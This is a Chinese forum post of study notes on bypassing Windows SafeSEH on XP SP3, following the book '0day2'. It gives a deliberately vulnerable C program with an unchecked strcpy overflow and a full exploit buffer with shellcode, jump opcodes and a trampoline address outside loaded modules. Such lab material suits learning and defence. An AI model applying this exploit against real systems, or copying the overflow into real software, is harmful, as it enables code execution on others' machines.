本帖最后由 wnagzihxain 于 2016-5-10 12:49 编辑
代码是《0day2》第十一章提供的
环境：xp sp3
当异常处理函数在加载模块外时，SafeSEH是直接校验通过的
所以如果我们能找到一个跳转指令位于加载模块外，就可以绕过SafeSEH的校验
[C] 纯文本查看 复制代码 #include <stdio.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int main()
{
__asm int 3
test(shellcode);
return 0;
}
VS2005，生成Release版本，禁用优化
首先用插件来找找有没有，插件是OllyFindAddr
选择call [ebp+n]，标注出来的就是加载模块之外的跳转地址
然后单步走完strcpy
观察此时栈布局，根据你的系统计算shellcode长度，在S.E.H防止跳板，然后调用异常的时候执行我们覆盖的跳板
接下来就会跳到nextSEH，nextSEH放置一个小跳转，往回跳10字节，在第二次跳转的位置放置一个大跳转，跳回shellcode起始地址
接下来解释下为什么这么放置指令：
首先我们的跳板存在00截断符，所以shellcode是不能放置在后面了，只能放置在前面，但是放置在前面我们只能控制它跳到nextSEH去执行
所以nextSEH处的指令至关重要，我们希望它它要跳到shellcode的起始位置，但是它只有4字节无法完成那么大的跳转
我们让它完成一个小跳转，跳10字节回去（这里是自己2字节加上8字节）
然后在跳转回去的地址放置一个大跳转，那个大跳转就是跳回shellcode起始地址的关键
修改的代码是这样的
[C] 纯文本查看 复制代码 #include <stdio.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"// machine code of far jump and \x90
"\xEB\xF6\x90\x90"// machine code of short jump and \x90
"\x0B\x0B\x28\x00"// address of call [ebp+30] in outside memory
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int main()
{
//__asm int 3
test(shellcode);
return 0;
}
来看看效果
看到这里，是不是有一点点的疑问？
那就是为什么使用call [ebp + 0x30]
这个问题我其实是写了答案的，可是我重新阅读了一遍，发现很难讲清楚(*＾-＾*)
所以啊，我找了几篇不错的分享，虽然是整体的总结，对于刚才那个问题都有自己的心得体会：
欢迎交流╭( ･ㅂ･)و ̑̑ 主要记录二进制攻防的学习笔记和二进制漏洞的分析，各位多指教
最後的最後：如果我有没描述清楚的地方请您提出來我会及时修改
| 
发表于 2016-5-10 12:38
|
发表于 2016-9-4 09:14
